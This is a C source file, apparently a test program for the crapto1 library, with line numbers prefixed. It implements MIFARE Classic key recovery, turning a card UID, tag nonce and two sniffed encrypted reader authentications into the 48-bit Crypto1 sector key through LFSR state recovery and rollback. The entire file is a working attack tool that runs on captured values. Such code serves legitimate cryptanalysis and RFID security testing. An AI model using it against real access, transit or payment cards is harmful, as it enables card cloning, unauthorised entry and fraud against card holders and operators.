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1#define __STDC_FORMAT_MACROS
2#include <inttypes.h>
3#define llx PRIx64
4#define lli PRIi64
5
6// Test-file: test2.c
7#include "crapto1.h"
8#include <stdio.h>
9#include <stdlib.h>
10
11int main (int argc, char *argv[]) {
12 struct Crypto1State *s,*t;
13 uint64_t key; // recovered key
14 uint32_t uid; // serial number
15 uint32_t nt; // tag challenge
16 uint32_t nr0_enc; // first encrypted reader challenge
17 uint32_t ar0_enc; // first encrypted reader response
18 uint32_t nr1_enc; // second encrypted reader challenge
19 uint32_t ar1_enc; // second encrypted reader response
20 uint32_t ks2; // keystream used to encrypt reader response
21
22 printf("MIFARE Classic key recovery - based 32 bits of keystream\n");
23 printf("Recover key from two 32-bit reader authentication answers only!\n\n");
24
25 if (argc < 7) {
26 printf(" syntax: %s <uid> <nt> <{nr_0}> <{ar_0}> <{nr_1}> <{ar_1}>\n\n",argv[0]);
27 return 1;
28 }
29
30 sscanf(argv[1],"%x",&uid);
31 sscanf(argv[2],"%x",&nt);
32 sscanf(argv[3],"%x",&nr0_enc);
33 sscanf(argv[4],"%x",&ar0_enc);
34 sscanf(argv[5],"%x",&nr1_enc);
35 sscanf(argv[6],"%x",&ar1_enc);
36
37 printf("Recovering key for:\n");
38 printf(" uid: %08x\n",uid);
39 printf(" nt: %08x\n",nt);
40 printf(" {nr_0}: %08x\n",nr0_enc);
41 printf(" {ar_0}: %08x\n",ar0_enc);
42 printf(" {nr_1}: %08x\n",nr1_enc);
43 printf(" {ar_1}: %08x\n",ar1_enc);
44
45 // Generate lfsr succesors of the tag challenge
46 printf("\nLFSR succesors of the tag challenge:\n");
47 printf(" nt': %08x\n",prng_successor(nt, 64));
48 printf(" nt'': %08x\n",prng_successor(nt, 96));
49
50 // Extract the keystream from the messages
51 printf("\nKeystream used to generate {ar} and {at}:\n");
52 ks2 = ar0_enc ^ prng_successor(nt, 64);
53 printf(" ks2: %08x\n",ks2);
54
55 s = lfsr_recovery32(ar0_enc ^ prng_successor(nt, 64), 0);
56
57 for(t = s; t->odd | t->even; ++t) {
58 lfsr_rollback_word(t, 0, 0);
59 lfsr_rollback_word(t, nr0_enc, 1);
60 lfsr_rollback_word(t, uid ^ nt, 0);
61 crypto1_get_lfsr(t, &key);
62 crypto1_word(t, uid ^ nt, 0);
63 crypto1_word(t, nr1_enc, 1);
64 if (ar1_enc == (crypto1_word(t, 0, 0) ^ prng_successor(nt, 64))) {
65 printf("\nFound Key: [%012"llx"]\n\n",key);
66 break;
67 }
68 }
69 free(s);
70
71 return 0;
72}
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